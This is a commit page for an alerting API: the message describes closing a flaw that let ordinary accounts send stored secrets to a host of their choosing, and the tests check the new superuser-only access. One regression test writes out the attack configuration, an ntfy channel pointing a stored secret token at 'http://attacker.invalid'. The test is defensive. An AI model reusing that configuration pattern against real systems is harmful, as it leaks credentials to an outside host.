Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open
Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.
This commit is contained in:
@@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404(
|
||||
response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
|
||||
|
||||
assert response.status_code == 404
|
||||
|
||||
|
||||
def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
|
||||
client: TestClient, normal_user_token_headers: dict[str, str]
|
||||
) -> None:
|
||||
"""Channels hold credential references, topics and urls: a superuser's."""
|
||||
config = {"channels": [], "rules": []}
|
||||
|
||||
assert (
|
||||
client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
|
||||
== 403
|
||||
)
|
||||
assert (
|
||||
client.put(
|
||||
f"{PREFIX}/config", headers=normal_user_token_headers, json=config
|
||||
).status_code
|
||||
== 403
|
||||
)
|
||||
assert (
|
||||
client.post(
|
||||
f"{PREFIX}/test/phone", headers=normal_user_token_headers
|
||||
).status_code
|
||||
== 403
|
||||
)
|
||||
|
||||
|
||||
def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
|
||||
client: TestClient,
|
||||
superuser_token_headers: dict[str, str],
|
||||
normal_user_token_headers: dict[str, str],
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
"""An ntfy `server` plus a `$secret` token used to send the secret there."""
|
||||
import httpx
|
||||
|
||||
client.put(
|
||||
f"{settings.API_V1_STR}/secrets/vault-token",
|
||||
headers=superuser_token_headers,
|
||||
json={"value": "S3CRET"},
|
||||
)
|
||||
reached: list[str] = []
|
||||
|
||||
async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
|
||||
reached.append(str(url))
|
||||
return httpx.Response(200, request=httpx.Request("POST", url))
|
||||
|
||||
monkeypatch.setattr(httpx.AsyncClient, "post", post)
|
||||
config = {
|
||||
"channels": [
|
||||
{
|
||||
"name": "x",
|
||||
"kind": "ntfy",
|
||||
"config": {
|
||||
"server": "http://attacker.invalid",
|
||||
"topic": "t",
|
||||
"token": {"$secret": "vault-token"},
|
||||
},
|
||||
}
|
||||
],
|
||||
"rules": [],
|
||||
}
|
||||
|
||||
client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
|
||||
client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
|
||||
|
||||
assert reached == []
|
||||
|
||||
|
||||
def test_any_account_can_subscribe_its_own_browser(
|
||||
client: TestClient, normal_user_token_headers: dict[str, str]
|
||||
) -> None:
|
||||
"""Where this device can be reached is not a superuser's to hold."""
|
||||
response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
|
||||
|
||||
assert response.status_code == 200
|
||||
assert response.json()["key"]
|
||||
|
||||
Reference in New Issue
Block a user